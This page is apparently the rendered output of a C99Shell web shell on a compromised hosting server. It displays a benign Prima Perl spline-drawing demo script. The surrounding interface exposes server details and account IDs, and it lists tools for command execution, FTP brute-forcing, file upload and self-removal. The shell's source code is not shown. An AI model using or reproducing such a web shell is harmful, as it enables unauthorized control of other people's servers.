!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/lib64/perl5/vendor_perl/Prima/examples/   drwxr-xr-x
Free 6181.89 GB of 6263.09 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     spline.pl (2.61 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
=pod

=head1 NAME

examples/spline.pl - A spline demo

=head1 FEATURES

Demonstrates parabolic splines as graphic primitives.
The points arount the filled shapes are spline vertexes,
which are dragable by the mouse.

Using L<Prima::Drawable::CurvedText>.

=cut

use strict;
use warnings;
use Prima qw(Application Drawable::CurvedText);

my @bounds;
my @points = (
    10, 10,
    130, 30,
    20, 20,
    20, 300,
    50, 300,
);
my @vectors = (
    2, 2,
    2, 1,
    -1, -1,
    -1, 3,
    -2, 2,
);
my @rgb = (
    0,
    0,
    0,
);
my @rgb_vectors = (
    -1.04,
    1.79,
    1.38,
);
my $capture;
my $aperture = 6 * $::application-> uiScaling;

my $w = Prima::MainWindow-> create(
    text => 'Spline demo',
    backColor => cl::Black,
    buffered => 1,
    onPaint => sub {
        my ( $self, $canvas) = @_;
        $canvas-> clear;

        my $spline = $canvas-> render_spline( [ @points, @points[0,1]]);
        $canvas-> fillpoly( $spline);
        if ( defined $capture) {
            $canvas-> fill_ellipse(
                $points[$capture], $points[$capture+1],
                $aperture, $aperture
            );
        }

        $canvas-> rop( rop::XorPut);
        $canvas-> curved_text_out("Hello, world!", $spline);

        my $i;
        for ( $i = 0; $i < @points; $i+=2) {
            $canvas-> ellipse(
                $points[$i], $points[$i+1],
                $aperture, $aperture
            );
        }
    },
    onSize => sub {
        my ( $self, $ox, $oy, $x, $y) = @_;
        @bounds = ( $x, $y);
    },
    onMouseDown => sub {
        my ( $self, $btn, $mod, $x, $y) = @_;
        my $i;
        $capture = undef;
        for ( $i = 0; $i < @points; $i+=2) {
            if ( $points[$i] > $x - $aperture && $points[$i] < $x + $aperture &&
                $points[$i+1] > $y - $aperture && $points[$i+1] < $y + $aperture) {
                $capture = $i;
                last;
            }
        }
    },
    onMouseUp => sub {
        undef $capture;
    },
    onMouseMove => sub {
        my ( $self, $btn, $x, $y) = @_;
        return unless defined $capture;
        $points[$capture] = $x if $x >= 0 && $x < $bounds[0];
        $points[$capture+1] = $y if $y >= 0 && $y < $bounds[1];
    },
);

$w-> insert( Timer =>
    timeout => 50,
    onTick => sub {
        my $i;
        my $idx = 0;
        for ( $i = 0; $i < @points; $i++) {
            next if defined $capture && ( $capture == $i || $capture == $i - 1);
            $points[$i] += $vectors[$i];
            if ( $points[$i] < 0) {
                $points[$i] *= -1;
                $vectors[$i] *= -1;
            } elsif ( $points[$i] >= $bounds[$idx]) {
                $points[$i] = $bounds[$idx] * 2 - $points[$i];
                $vectors[$i] *= -1;
            }
            $idx = ($idx ? 0 : 1);
        }

        for ( $i = 0; $i < 3; $i++) {
            $rgb[$i] += $rgb_vectors[$i];
            if ( $rgb[$i] < 0) {
                $rgb_vectors[$i] *= -1;
                $rgb[$i] *= -1;
            } elsif ( $rgb[$i] > 255) {
                $rgb[$i] = 511 - $rgb[$i];
                $rgb_vectors[$i] *= -1;
            }
        }
        $w-> color( int($rgb[2]) + int($rgb[1]) * 256 + int($rgb[0]) * 65536);
    },
)-> start;

run Prima;

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0122 ]--